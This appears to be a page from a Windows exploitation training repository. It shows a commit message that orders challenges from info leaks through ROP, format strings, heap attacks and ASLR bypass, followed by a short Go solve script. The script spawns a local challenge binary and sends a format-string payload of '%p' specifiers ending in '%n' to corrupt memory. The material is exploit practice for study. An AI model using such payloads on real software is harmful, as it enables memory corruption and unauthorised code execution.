Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
28 lines
448 B
Go
28 lines
448 B
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"log"
|
|
"winpwn"
|
|
)
|
|
|
|
func main() {
|
|
tube, err := winpwn.Spawn("fs3_win.exe")
|
|
if err != nil {
|
|
log.Fatalf("Spawn: %v", err)
|
|
}
|
|
|
|
offset := 49
|
|
var payload bytes.Buffer
|
|
for i := 0; i < offset-1; i++ {
|
|
payload.WriteString("%p ")
|
|
}
|
|
payload.WriteString("%n\n")
|
|
|
|
if err := tube.SendLineAfter([]byte("format string: "), payload.Bytes()); err != nil {
|
|
log.Fatalf("SendLineAfter: %v", err)
|
|
}
|
|
|
|
tube.Interactive()
|
|
}
|